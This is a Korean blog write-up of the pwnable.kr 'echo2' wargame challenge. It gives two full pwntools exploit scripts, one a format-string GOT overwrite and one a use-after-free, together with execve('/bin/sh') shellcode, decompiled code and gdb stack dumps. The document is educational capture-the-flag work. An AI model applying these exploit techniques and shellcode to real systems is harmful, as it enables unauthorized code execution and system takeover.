security/포너블 - pwnable.kr

pwnable.kr - [Rookiss] echo2

민사민서 2023. 2. 25. 14:56
from pwn import *

p = remote("pwnable.kr", 9011)
# p = process("./echo2")
e = ELF("./echo2")

# shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
poprbpret = "\x5d\x5d\xc3"
free_got = e.got['free'] # 0x602000 = 6299648
id = e.symbols['id'] # 0x6020a0 = 6299808

p.sendlineafter("name? : ", poprbpret)

p.sendlineafter("> ", "2")
p.sendlineafter("\n", "%{}c%10$ln".format(free_got))
p.recvline() # print input
p.recvline() # print goodbye
# gdb.attach(p) ; check if main_rbp is overwritten to free_got

p.sendlineafter("> ", "2")
p.sendlineafter("\n", "%{}c%18$ln".format(id))
p.recvline() # print input
p.recvline() # print goodbye
# gdb.attach(p) ; check if free_got is overwritten to id_addr

p.sendlineafter("> ", "3")
p.sendlineafter("\n", shellcode)
p.recvline() # print shellcode

p.interactive()

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // rax
  unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
  _QWORD v6[4]; // [rsp+10h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  o = malloc(0x28uLL); // 전역변수 o, 0x602098
  *((_QWORD *)o + 3) = greetings; // printf("hello %s\n", a1);
  *((_QWORD *)o + 4) = byebye; // printf("goodbye %s\n", a1);
  printf("hey, what's your name? : ");
  __isoc99_scanf("%24s", v6);
  v3 = o;
  *(_QWORD *)o = v6[0];
  v3[1] = v6[1];
  v3[2] = v6[2];
  id = v6[0]; // 전역변수 id, 0x6020a0
  getchar();
// 전역변수 func, 0x602080
  func[0] = (__int64)echo1; // puts("not supported");
  qword_602088 = (__int64)echo2;
  qword_602090 = (__int64)echo3;
  for ( i = 0; i != 121; i = getchar() )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("\n- select echo type -");
        puts("- 1. : BOF echo");
        puts("- 2. : FSB echo");
        puts("- 3. : UAF echo");
        puts("- 4. : exit");
        printf("> ");
        __isoc99_scanf("%d", &i);
        getchar();
        if ( i > 3 )
          break;
        ((void (*)(void))func[i - 1])();
      }
      if ( i == 4 )
        break;
      puts("invalid menu");
    }
    cleanup(); // free(o)
    printf("Are you sure you want to exit? (y/n)");
  }
  puts("bye");
  return 0;
}
__int64 echo2()
{
  char format[32]; // [rsp+0h] [rbp-20h] BYREF

  (*((void (__fastcall **)(void *))o + 3))(o);
  get_input(format, 32LL); // fgets(format, 32LL, stdin)
  printf(format); // fsb 취약점
  (*((void (__fastcall **)(void *))o + 4))(o);
  return 0LL;
}
__int64 echo3()
{
  char *s; // [rsp+8h] [rbp-8h]

  (*((void (__fastcall **)(void *))o + 3))(o);
  s = (char *)malloc(0x20uLL);
  get_input(s, 32LL); // fgets(s, 32LL, stdin)
  puts(s);
  free(s);
  (*((void (__fastcall **)(void *))o + 4))(o);
  return 0LL;
}

- Partial RELRO   No canary found   NX disabled    No PIE
- echo2와 echo3 모두 main에서 호출하는 서브루틴 (rbp 동일하다)

<exploit 계획-1>
- echo3에서 할당받은 chunk에 쉘코드를 작성하고, echo2에서 [rbp-8] 위치에 접근해 주소를 leak
- rip를 leak한 chunk 주소로 옮기면 쉘코드가 실행될 것
// AAAAAAAA %p %p %p %p %p %p %p 결과
AAAAAAAA 0x7fffffffddb0 0x7ffff7dcf8d0 0x11 (nil) 0x7ffff7fe04c0 0x4141414141414141 ~
// 6번째에 [rsp] 값 접근 가능, 9번째에 [rsp+0x18]=[rbp-0x8] 접근 가능
// vmmap 결과 = 0x603000 0x624000 rwxp  21000  0 [heap] = execute 가능

<실패 이유>
echo2 호출하면서 rbp-0x8(%9$p)에 다른 값 덮어써짐 (0x4004b0, <_start>)
free(s) 과정에서 chunk 내 입력한 값 변조됨 (free chunk에 fd, bk 값 등록됨)
RET overwrite 할 방법이 딱히 없음.

<exploit 계획-2>
- 전역변수 id에 pop rbp; pop rbp; ret;(5d 5d c3) 입력
- echo2 두 번 실행하여 
- rsp+0x10(%8$n) 혹은 rsp+0x20(%10$n)에 담긴 주소(main 함수 rbp)에 free_got 주소 write
- rsp+0x60(%18$n)에 담긴 주소(free_got)에 전역변수 id 주소 write
- echo3 실행하여 chunk에 쉘코드 입력

pwndbg> x/6gx $rsp // echo2 printf 호출 직전 스택상황 
0x7fffffffddb0:	0x0000000a70243625	0x0000000000000000
0x7fffffffddc0:	0x00007fffffffde10	0x00000000004006b0
0x7fffffffddd0:	0x00007fffffffde10[sfp]	0x0000000000400acb[RET]
pwndbg> p/x 0x7fffffffde10-0x7fffffffddb0
$1 = 0x60
=> main_rbp 값은 rsp+0x10, rsp+0x20에 담겨있음 (%8$p, %10$p)
=> main_rbp와 echo2_rsp 간 거리 0x60, main_rbp는 %18$p로 접근 가능
=> free_got(0x602000), id(0x6020a0)

pwndbg> x/2gx $rsp // echo3 free 호출 직전 스택 상황
0x7fffffffddc0:	0x00007fffffffde10	0x00000000006036a0[chunk Addr]
// <free@plt> jmp [got에 들어있는 값] 실행될 시점에는 RET 주소도 스택에 push되어 있다!

 

1. 왜 pop; pop; ret; 인가?

echo3 스택 프레임에서 s (chunk addr)는 [rsp+0x8]에 위치한다.

우리는 free@got의 값을 바꿨고,  call free@plt -> jmp [id 주소] -> [id에 담긴 명령어들] 이런 흐름이므로

 id의 명령어들이 실행될 때에는 free 호출 후 돌아갈 RET 주소도 스택에 push되어 있다.

따라서 pop 2번 후 ret (=pop eip)를 통해 chunk로 rip를 이동시킬 수 있다

 

cf) pop rax(\x58), pop rbx(\x5b), pop rcx(\x59) 등등 pop rsp를 제외한 여러 선택지가 있겠다

 

2. 사용한 shellcode

#23 bytes
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#31 bytes
"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

 

3. UAF를 이용한 풀이

4를 고르고 'n'을 입력하면 o (0x28 크기의 chunk)는 free된 상태로 계속 진행할 수 있다.

3을 고르면 malloc(0x20); 에서 s에 free된 chunk가 재할당된다.

이미 해제된 포인터 o를 통해 greetings, byebye 호출하므로 이 위치에 shellcode의 주소를 넣어두면 되겠다

 

* 쉘코드를 어디다 넣느냐? 처음엔 echo2의 스택프레임(char format[32])에 넣어두려 했으나 함수 에필로그 과정에서 format[8~] 부분이 소실되더라.

=> main 함수의 스택프레임 char v6[32] (main_rbp-0x20)에 보관하자!

* use after free 시 p64(shell_addr)[:-1] 통해 23자 건네주어야 함

=> 안 그럴경우 마지막 한 바이트가 stdin에 입력버퍼에 남아있어 의도치 않은 동작을 한다

 

from pwn import *

p = remote("pwnable.kr", 9011)
# p = process("./echo2")
e = ELF("./echo2")

# 24자 이내의 shellcode만 사용 가능
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

p.sendlineafter("name? : ", shellcode) # shellcode in stack

p.sendlineafter("> ", "2") # leak echo2_rsp
p.sendlineafter("\n", "%10$p")
shell_addr = int(p.recvline()[:-1],16)-0x20 # main_rbp-0x20 = QWORD v6[4]
# print(hex(shell_addr))
p.recvline()
# gdb.attach(p)

p.sendlineafter("> ", "4") # free(o)
p.sendlineafter("(y/n)", "n")

p.sendlineafter("> ", "3") # use after free (chunk o)
p.sendlineafter("\n", b'A'*0x18+p64(shell_addr)[:-1]) # overwrite greetings()

p.sendlineafter("> ", "2")

p.interactive()

'security > 포너블 - pwnable.kr' 카테고리의 다른 글

pwnable.kr - [Rookiss] simple login  (0) 2023.02.27
pwnable.kr - [Rookiss] loveletter  (0) 2023.02.26
pwnable.kr - [Rookiss] fix  (0) 2023.02.23
pwnable.kr - [Rookiss] echo1  (0) 2023.02.23
pwnable.kr - [Rookiss] ascii_easy  (0) 2023.02.19